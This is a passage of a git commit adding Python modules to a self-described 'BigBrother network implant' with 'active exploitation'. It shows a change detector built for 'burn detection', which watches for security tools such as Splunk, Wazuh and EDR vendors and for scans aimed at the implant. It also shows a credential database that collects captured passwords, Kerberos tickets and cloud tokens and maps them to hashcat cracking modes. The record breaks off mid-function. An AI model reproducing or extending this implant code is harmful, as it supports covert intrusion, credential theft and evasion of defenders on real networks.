Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
"""SystemMonitor intelligence modules — on-device analysis and data aggregation."""
|
||||
|
||||
from modules.intel.credential_db import CredentialDB
|
||||
from modules.intel.topology_mapper import TopologyMapper
|
||||
from modules.intel.net_intel import NetIntel
|
||||
from modules.intel.user_timeline import UserTimeline
|
||||
from modules.intel.supply_chain_detect import SupplyChainDetect
|
||||
from modules.intel.change_detector import ChangeDetector
|
||||
from modules.intel.security_posture import SecurityPosture
|
||||
from modules.intel.operator_audit import OperatorAudit
|
||||
from modules.intel.tool_output_parser import ToolOutputParser
|
||||
|
||||
__all__ = [
|
||||
"CredentialDB",
|
||||
"TopologyMapper",
|
||||
"NetIntel",
|
||||
"UserTimeline",
|
||||
"SupplyChainDetect",
|
||||
"ChangeDetector",
|
||||
"SecurityPosture",
|
||||
"OperatorAudit",
|
||||
"ToolOutputParser",
|
||||
]
|
||||
@@ -0,0 +1,607 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network change detection — continuous diff against baseline state.
|
||||
|
||||
Critical for BURN DETECTION. Alerts on new hosts, disappeared hosts,
|
||||
new services, new open ports, security tool traffic, scan activity
|
||||
targeting the implant subnet, and unusual auth patterns.
|
||||
|
||||
Publishes CHANGE_DETECTED events with severity levels.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS changes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
change_type TEXT NOT NULL,
|
||||
severity TEXT NOT NULL DEFAULT 'info',
|
||||
description TEXT NOT NULL,
|
||||
old_value TEXT DEFAULT '',
|
||||
new_value TEXT DEFAULT '',
|
||||
target_ip TEXT DEFAULT '',
|
||||
acknowledged INTEGER DEFAULT 0
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_ts ON changes(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_sev ON changes(severity);
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_type ON changes(change_type);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS baseline_hosts (
|
||||
ip TEXT PRIMARY KEY,
|
||||
hostname TEXT DEFAULT '',
|
||||
mac TEXT DEFAULT '',
|
||||
os_family TEXT DEFAULT '',
|
||||
open_ports TEXT DEFAULT '[]',
|
||||
services TEXT DEFAULT '[]',
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS baseline_services (
|
||||
ip TEXT NOT NULL,
|
||||
port INTEGER NOT NULL,
|
||||
protocol TEXT DEFAULT 'tcp',
|
||||
service TEXT DEFAULT '',
|
||||
banner TEXT DEFAULT '',
|
||||
first_seen REAL NOT NULL,
|
||||
PRIMARY KEY (ip, port, protocol)
|
||||
);
|
||||
"""
|
||||
|
||||
# Change types and their default severity
|
||||
_CHANGE_SEVERITY = {
|
||||
"new_host": "info",
|
||||
"host_disappeared": "warning",
|
||||
"new_service": "info",
|
||||
"new_port": "info",
|
||||
"service_disappeared": "info",
|
||||
"security_tool_traffic": "critical",
|
||||
"scan_detected": "critical",
|
||||
"unusual_auth": "warning",
|
||||
"mac_change": "warning",
|
||||
"os_change": "warning",
|
||||
"mass_port_scan": "critical",
|
||||
"arp_anomaly": "critical",
|
||||
}
|
||||
|
||||
# Ports/services that indicate security tool deployment
|
||||
_SECURITY_TOOL_PORTS = {
|
||||
8088: "splunk_hec",
|
||||
8089: "splunk_mgmt",
|
||||
9997: "splunk_forwarder",
|
||||
1514: "wazuh_agent",
|
||||
1515: "wazuh_enrollment",
|
||||
55000: "wazuh_api",
|
||||
514: "syslog",
|
||||
6514: "syslog_tls",
|
||||
443: None, # too generic, needs hostname corroboration
|
||||
}
|
||||
|
||||
# DNS patterns suggesting security tool investigation
|
||||
_SECURITY_DNS_PATTERNS = (
|
||||
"nessus", "qualys", "rapid7", "tenable", "crowdstrike",
|
||||
"sentinelone", "carbonblack", "cybereason", "sophos",
|
||||
"defender", "wireshark", "zeek", "suricata", "snort",
|
||||
)
|
||||
|
||||
# Scan detection: many ports from a single source in short time
|
||||
_SCAN_THRESHOLD_PORTS = 50 # ports in window = scan
|
||||
_SCAN_THRESHOLD_WINDOW = 60.0 # seconds
|
||||
|
||||
|
||||
class ChangeDetector(BaseModule):
|
||||
"""Detect network changes against baseline — critical for burn detection."""
|
||||
|
||||
name = "change_detector"
|
||||
module_type = "intel"
|
||||
priority = 50 # Critical priority
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._baseline_built = False
|
||||
self._change_count = 0
|
||||
|
||||
# Scan detection tracking: source_ip -> [(timestamp, dst_port)]
|
||||
self._port_attempts: dict[str, list] = defaultdict(list)
|
||||
|
||||
# Our implant's IPs for self-protection monitoring
|
||||
self._implant_ips: set = set()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "change_detector.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Load implant IPs from config
|
||||
self._implant_ips = set(self.config.get("implant_ips", []))
|
||||
|
||||
# Check if baseline exists
|
||||
row = self._conn.execute("SELECT COUNT(*) FROM baseline_hosts").fetchone()
|
||||
self._baseline_built = row[0] > 0
|
||||
|
||||
# Subscribe to events
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Monitor thread for periodic diffing
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_loop, daemon=True,
|
||||
name="sensor-change-detector",
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info(
|
||||
"ChangeDetector started — baseline=%s, db=%s",
|
||||
"loaded" if self._baseline_built else "empty", self._db_path,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ChangeDetector stopped — %d changes recorded", self._change_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
change_count = 0
|
||||
critical_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM changes"
|
||||
).fetchone()
|
||||
change_count = row[0] if row else 0
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM changes WHERE severity='critical'"
|
||||
).fetchone()
|
||||
critical_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"baseline_built": self._baseline_built,
|
||||
"total_changes": change_count,
|
||||
"critical_changes": critical_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
self._implant_ips = set(config.get("implant_ips", self._implant_ips))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Baseline management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def build_baseline(self) -> int:
|
||||
"""Snapshot current known hosts and services as the baseline.
|
||||
|
||||
Returns:
|
||||
Number of hosts in the baseline.
|
||||
"""
|
||||
hosts_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if not hosts_json:
|
||||
logger.warning("No host discovery data available for baseline")
|
||||
return 0
|
||||
|
||||
try:
|
||||
hosts = json.loads(hosts_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return 0
|
||||
|
||||
with self._lock:
|
||||
# Clear existing baseline
|
||||
self._conn.execute("DELETE FROM baseline_hosts")
|
||||
self._conn.execute("DELETE FROM baseline_services")
|
||||
|
||||
now = time.time()
|
||||
for host in hosts:
|
||||
ip = host.get("ip", "")
|
||||
if not ip:
|
||||
continue
|
||||
|
||||
ports = host.get("open_ports", [])
|
||||
services = host.get("services", [])
|
||||
|
||||
self._conn.execute(
|
||||
"""INSERT OR REPLACE INTO baseline_hosts
|
||||
(ip, hostname, mac, os_family, open_ports, services,
|
||||
first_seen, last_seen)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(ip, host.get("hostname", ""), host.get("mac", ""),
|
||||
host.get("os_family", ""), json.dumps(ports),
|
||||
json.dumps(services), now, now),
|
||||
)
|
||||
|
||||
for port in ports:
|
||||
self._conn.execute(
|
||||
"""INSERT OR REPLACE INTO baseline_services
|
||||
(ip, port, protocol, service, first_seen)
|
||||
VALUES (?, ?, 'tcp', '', ?)""",
|
||||
(ip, port, now),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
self._baseline_built = True
|
||||
|
||||
count = len(hosts)
|
||||
logger.info("Baseline built with %d hosts", count)
|
||||
return count
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check a newly discovered host against baseline."""
|
||||
if not self._baseline_built:
|
||||
return
|
||||
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if not ip:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
# Check if host is in baseline
|
||||
row = self._conn.execute(
|
||||
"SELECT * FROM baseline_hosts WHERE ip = ?", (ip,)
|
||||
).fetchone()
|
||||
|
||||
if not row:
|
||||
# NEW HOST
|
||||
self._record_change(
|
||||
change_type="new_host",
|
||||
description=f"New host discovered: {ip} "
|
||||
f"(hostname={p.get('hostname', '')}, "
|
||||
f"mac={p.get('mac', '')})",
|
||||
new_value=json.dumps(p),
|
||||
target_ip=ip,
|
||||
)
|
||||
else:
|
||||
# Existing host — check for changes
|
||||
baseline_mac = row["mac"]
|
||||
new_mac = p.get("mac", "")
|
||||
if baseline_mac and new_mac and baseline_mac != new_mac:
|
||||
self._record_change(
|
||||
change_type="mac_change",
|
||||
description=f"MAC changed on {ip}: "
|
||||
f"{baseline_mac} -> {new_mac}",
|
||||
old_value=baseline_mac,
|
||||
new_value=new_mac,
|
||||
target_ip=ip,
|
||||
severity="warning",
|
||||
)
|
||||
|
||||
baseline_os = row["os_family"]
|
||||
new_os = p.get("os_family", "")
|
||||
if baseline_os and new_os and baseline_os != new_os:
|
||||
self._record_change(
|
||||
change_type="os_change",
|
||||
description=f"OS changed on {ip}: "
|
||||
f"{baseline_os} -> {new_os}",
|
||||
old_value=baseline_os,
|
||||
new_value=new_os,
|
||||
target_ip=ip,
|
||||
)
|
||||
|
||||
# Check for new ports
|
||||
try:
|
||||
baseline_ports = set(json.loads(row["open_ports"]))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
baseline_ports = set()
|
||||
|
||||
new_ports = set(p.get("open_ports", []))
|
||||
added_ports = new_ports - baseline_ports
|
||||
|
||||
for port in added_ports:
|
||||
sev = "info"
|
||||
desc = f"New port {port} on {ip}"
|
||||
|
||||
# Check if it's a security tool port
|
||||
if port in _SECURITY_TOOL_PORTS:
|
||||
tool = _SECURITY_TOOL_PORTS[port]
|
||||
if tool:
|
||||
sev = "critical"
|
||||
desc = f"SECURITY TOOL: {tool} port {port} on {ip}"
|
||||
|
||||
self._record_change(
|
||||
change_type="new_port",
|
||||
description=desc,
|
||||
new_value=str(port),
|
||||
target_ip=ip,
|
||||
severity=sev,
|
||||
)
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Monitor for unusual authentication patterns."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
# Track rapid auth failures from unknown sources as investigation indicator
|
||||
if p.get("cred_type") == "auth_failure":
|
||||
src = p.get("source_ip", "")
|
||||
target = p.get("target_ip", "")
|
||||
self._record_change(
|
||||
change_type="unusual_auth",
|
||||
description=f"Auth failure: {src} -> {target} "
|
||||
f"(user={p.get('username', '')})",
|
||||
target_ip=target,
|
||||
severity="warning",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Connection / scan monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def ingest_connection_attempt(self, src_ip: str, dst_ip: str,
|
||||
dst_port: int, timestamp: float = None) -> None:
|
||||
"""Track connection attempts for scan detection.
|
||||
|
||||
Called by passive modules watching network traffic.
|
||||
"""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
# Check for scans targeting our implant
|
||||
if dst_ip in self._implant_ips:
|
||||
self._record_change(
|
||||
change_type="scan_detected",
|
||||
description=f"Connection to implant IP {dst_ip}:{dst_port} "
|
||||
f"from {src_ip}",
|
||||
target_ip=dst_ip,
|
||||
severity="critical",
|
||||
)
|
||||
|
||||
# Track port scan patterns
|
||||
with self._lock:
|
||||
attempts = self._port_attempts[src_ip]
|
||||
attempts.append((ts, dst_port))
|
||||
|
||||
# Prune old entries
|
||||
cutoff = ts - _SCAN_THRESHOLD_WINDOW
|
||||
self._port_attempts[src_ip] = [
|
||||
(t, p) for t, p in attempts if t > cutoff
|
||||
]
|
||||
|
||||
# Check for scan pattern
|
||||
recent = self._port_attempts[src_ip]
|
||||
unique_ports = len(set(p for _, p in recent))
|
||||
|
||||
if unique_ports >= _SCAN_THRESHOLD_PORTS:
|
||||
self._record_change(
|
||||
change_type="mass_port_scan",
|
||||
description=f"Port scan from {src_ip}: "
|
||||
f"{unique_ports} unique ports in "
|
||||
f"{_SCAN_THRESHOLD_WINDOW}s",
|
||||
target_ip=src_ip,
|
||||
severity="critical",
|
||||
)
|
||||
# Reset to avoid flood
|
||||
self._port_attempts[src_ip] = []
|
||||
|
||||
def ingest_dns_query(self, query_name: str, client_ip: str = "") -> None:
|
||||
"""Check DNS queries for security tool investigation indicators."""
|
||||
query_lower = query_name.lower()
|
||||
for pattern in _SECURITY_DNS_PATTERNS:
|
||||
if pattern in query_lower:
|
||||
self._record_change(
|
||||
change_type="security_tool_traffic",
|
||||
description=f"Security tool DNS query: {query_name} "
|
||||
f"from {client_ip}",
|
||||
new_value=query_name,
|
||||
target_ip=client_ip,
|
||||
severity="critical",
|
||||
)
|
||||
break
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Monitor loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_loop(self) -> None:
|
||||
"""Periodic monitoring: check for disappeared hosts, etc."""
|
||||
interval = self.config.get("change_check_interval", 300)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
if self._baseline_built:
|
||||
self._check_disappeared_hosts()
|
||||
self._prune_scan_tracking()
|
||||
except Exception:
|
||||
logger.exception("Change detector monitor cycle failed")
|
||||
|
||||
def _check_disappeared_hosts(self) -> None:
|
||||
"""Check if any baseline hosts have disappeared."""
|
||||
# Get current known hosts from host_discovery
|
||||
current_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if not current_json:
|
||||
return
|
||||
|
||||
try:
|
||||
current_hosts = json.loads(current_json)
|
||||
current_ips = {h.get("ip") for h in current_hosts if h.get("ip")}
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
baseline_rows = self._conn.execute(
|
||||
"SELECT ip, hostname FROM baseline_hosts"
|
||||
).fetchall()
|
||||
|
||||
for row in baseline_rows:
|
||||
ip = row["ip"]
|
||||
if ip not in current_ips:
|
||||
# Check if we already recorded this disappearance recently
|
||||
recent = self._conn.execute(
|
||||
"""SELECT id FROM changes
|
||||
WHERE change_type='host_disappeared' AND target_ip=?
|
||||
AND timestamp > ?""",
|
||||
(ip, time.time() - 3600),
|
||||
).fetchone()
|
||||
|
||||
if not recent:
|
||||
hostname = row["hostname"]
|
||||
self._record_change(
|
||||
change_type="host_disappeared",
|
||||
description=f"Baseline host disappeared: {ip} "
|
||||
f"({hostname})",
|
||||
old_value=ip,
|
||||
target_ip=ip,
|
||||
)
|
||||
|
||||
def _prune_scan_tracking(self) -> None:
|
||||
"""Remove stale scan tracking data to limit memory usage."""
|
||||
cutoff = time.time() - (_SCAN_THRESHOLD_WINDOW * 2)
|
||||
with self._lock:
|
||||
stale = [
|
||||
ip for ip, attempts in self._port_attempts.items()
|
||||
if not attempts or attempts[-1][0] < cutoff
|
||||
]
|
||||
for ip in stale:
|
||||
del self._port_attempts[ip]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Change recording
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_change(self, change_type: str, description: str,
|
||||
old_value: str = "", new_value: str = "",
|
||||
target_ip: str = "", severity: str = None) -> None:
|
||||
"""Record a detected change and publish an event."""
|
||||
if severity is None:
|
||||
severity = _CHANGE_SEVERITY.get(change_type, "info")
|
||||
|
||||
now = time.time()
|
||||
self._change_count += 1
|
||||
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO changes
|
||||
(timestamp, change_type, severity, description,
|
||||
old_value, new_value, target_ip)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)""",
|
||||
(now, change_type, severity, description,
|
||||
old_value, new_value, target_ip),
|
||||
)
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to record change")
|
||||
return
|
||||
|
||||
# Publish event
|
||||
self.bus.emit("CHANGE_DETECTED", {
|
||||
"change_type": change_type,
|
||||
"severity": severity,
|
||||
"description": description,
|
||||
"target_ip": target_ip,
|
||||
"old_value": old_value,
|
||||
"new_value": new_value,
|
||||
}, source_module=self.name)
|
||||
|
||||
if severity == "critical":
|
||||
logger.critical("BURN RISK: %s", description)
|
||||
elif severity == "warning":
|
||||
logger.warning("Change: %s", description)
|
||||
else:
|
||||
logger.info("Change: %s", description)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_changes(self, severity: str = None, change_type: str = None,
|
||||
since: float = 0, limit: int = 100) -> list:
|
||||
"""Query recorded changes with optional filters."""
|
||||
clauses = ["timestamp > ?"]
|
||||
params: list = [since]
|
||||
|
||||
if severity:
|
||||
clauses.append("severity = ?")
|
||||
params.append(severity)
|
||||
if change_type:
|
||||
clauses.append("change_type = ?")
|
||||
params.append(change_type)
|
||||
|
||||
where = " AND ".join(clauses)
|
||||
params.append(limit)
|
||||
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
f"""SELECT * FROM changes
|
||||
WHERE {where}
|
||||
ORDER BY timestamp DESC LIMIT ?""",
|
||||
params,
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_critical_changes(self, hours: float = 24.0) -> list:
|
||||
"""Get critical changes in the last N hours."""
|
||||
since = time.time() - (hours * 3600)
|
||||
return self.get_changes(severity="critical", since=since)
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return change detection summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT severity, COUNT(*) FROM changes
|
||||
GROUP BY severity"""
|
||||
).fetchall()
|
||||
by_type = self._conn.execute(
|
||||
"""SELECT change_type, COUNT(*) FROM changes
|
||||
GROUP BY change_type"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total": sum(c for _, c in rows),
|
||||
"by_severity": {s: c for s, c in rows},
|
||||
"by_type": {t: c for t, c in by_type},
|
||||
"baseline_built": self._baseline_built,
|
||||
}
|
||||
@@ -0,0 +1,521 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Central credential store — aggregates credentials from all capture sources.
|
||||
|
||||
Subscribes to CREDENTIAL_FOUND, TICKET_HARVESTED, CLOUD_TOKEN_FOUND events.
|
||||
Deduplicates on (service, username, cred_type, cred_value). Exports in
|
||||
hashcat, CSV, and JSON formats. Tracks crack status per credential.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_TABLE_DDL = """
|
||||
CREATE TABLE IF NOT EXISTS credentials (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_module TEXT NOT NULL DEFAULT '',
|
||||
source_ip TEXT,
|
||||
target_ip TEXT,
|
||||
target_port INTEGER,
|
||||
service TEXT NOT NULL,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
domain TEXT DEFAULT '',
|
||||
cred_type TEXT NOT NULL,
|
||||
cred_value TEXT NOT NULL DEFAULT '',
|
||||
hashcat_mode INTEGER,
|
||||
cracked_value TEXT,
|
||||
crack_status TEXT DEFAULT 'uncracked',
|
||||
notes TEXT DEFAULT '',
|
||||
UNIQUE(service, username, cred_type, cred_value)
|
||||
)
|
||||
"""
|
||||
|
||||
_INDEXES = [
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_service ON credentials(service)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_user ON credentials(username)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_type ON credentials(cred_type)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_creds_status ON credentials(crack_status)",
|
||||
]
|
||||
|
||||
# Legacy alias so any external code importing _SCHEMA still works
|
||||
_SCHEMA = _TABLE_DDL
|
||||
|
||||
# Hashcat mode mapping for common credential types
|
||||
_HASHCAT_MODES = {
|
||||
"ntlmv2": 5600,
|
||||
"ntlmv1": 5500,
|
||||
"ntlm": 1000,
|
||||
"net-ntlmv2": 5600,
|
||||
"net-ntlmv1": 5500,
|
||||
"kerberos_tgs": 13100, # Kerberoast — TGS-REP (RC4)
|
||||
"kerberos_as": 18200, # AS-REP roast
|
||||
"kerberos_tgs_aes128": 19600,
|
||||
"kerberos_tgs_aes256": 19700,
|
||||
"http_basic": None, # plaintext
|
||||
"http_digest": 11400,
|
||||
"snmp_community": None, # plaintext
|
||||
"mssql": 131,
|
||||
"mysql": 300,
|
||||
"postgres": None,
|
||||
"ftp": None, # plaintext
|
||||
"telnet": None, # plaintext
|
||||
"smtp": None, # plaintext
|
||||
"ldap": None, # plaintext
|
||||
"vnc": None, # plaintext
|
||||
"rdp_ntlm": 5600,
|
||||
"wpa_pmkid": 22000,
|
||||
"wpa_handshake": 22000,
|
||||
"cloud_token": None, # not hashable
|
||||
"ssh_key": None,
|
||||
"cookie": None,
|
||||
"jwt": None,
|
||||
"bearer_token": None,
|
||||
}
|
||||
|
||||
|
||||
class CredentialDB(BaseModule):
|
||||
"""Central credential database — ingests, deduplicates, and exports credentials."""
|
||||
|
||||
name = "credential_db"
|
||||
module_type = "intel"
|
||||
priority = 50
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._ingest_count = 0
|
||||
self._dedup_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "credentials.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.execute(_TABLE_DDL)
|
||||
self._conn.commit()
|
||||
self._migrate_schema()
|
||||
for idx_sql in _INDEXES:
|
||||
self._conn.execute(idx_sql)
|
||||
self._conn.commit()
|
||||
|
||||
# Subscribe to credential events
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.subscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
|
||||
self.bus.subscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("CredentialDB started — db=%s", self._db_path)
|
||||
|
||||
def _migrate_schema(self) -> None:
|
||||
"""Add columns that exist in _SCHEMA but are missing from an older table."""
|
||||
required = {
|
||||
"source_module": "TEXT NOT NULL DEFAULT ''",
|
||||
"cracked_value": "TEXT",
|
||||
"crack_status": "TEXT DEFAULT 'uncracked'",
|
||||
"notes": "TEXT DEFAULT ''",
|
||||
}
|
||||
cur = self._conn.execute("PRAGMA table_info(credentials)")
|
||||
existing = {row[1] for row in cur.fetchall()}
|
||||
for col, coldef in required.items():
|
||||
if col not in existing:
|
||||
self._conn.execute(f"ALTER TABLE credentials ADD COLUMN {col} {coldef}")
|
||||
logger.info("Schema migrated: added column %s", col)
|
||||
self._conn.commit()
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.unsubscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
|
||||
self.bus.unsubscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"CredentialDB stopped — ingested=%d, deduped=%d",
|
||||
self._ingest_count, self._dedup_count,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
total = 0
|
||||
cracked = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM credentials"
|
||||
).fetchone()
|
||||
total = row[0] if row else 0
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM credentials WHERE crack_status='cracked'"
|
||||
).fetchone()
|
||||
cracked = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_credentials": total,
|
||||
"cracked": cracked,
|
||||
"ingested": self._ingest_count,
|
||||
"deduped": self._dedup_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Handle CREDENTIAL_FOUND events from any capture module."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or p.get("source_module", "unknown"),
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port"),
|
||||
service=p.get("service", "unknown"),
|
||||
username=p.get("username", ""),
|
||||
domain=p.get("domain", ""),
|
||||
cred_type=p.get("cred_type", "unknown"),
|
||||
cred_value=p.get("cred_value", ""),
|
||||
hashcat_mode=p.get("hashcat_mode"),
|
||||
notes=p.get("notes", ""),
|
||||
)
|
||||
|
||||
def _on_ticket_harvested(self, event) -> None:
|
||||
"""Handle TICKET_HARVESTED events (Kerberos TGS/AS-REP)."""
|
||||
p = event.payload
|
||||
cred_type = p.get("ticket_type", "kerberos_tgs")
|
||||
self._ingest_credential(
|
||||
source_module=event.source_module or "kerberos_harvester",
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
target_port=p.get("target_port", 88),
|
||||
service=p.get("spn", "krbtgt"),
|
||||
username=p.get("username", ""),
|
||||
domain=p.get("domain", ""),
|
||||
cred_type=cred_type,
|
||||
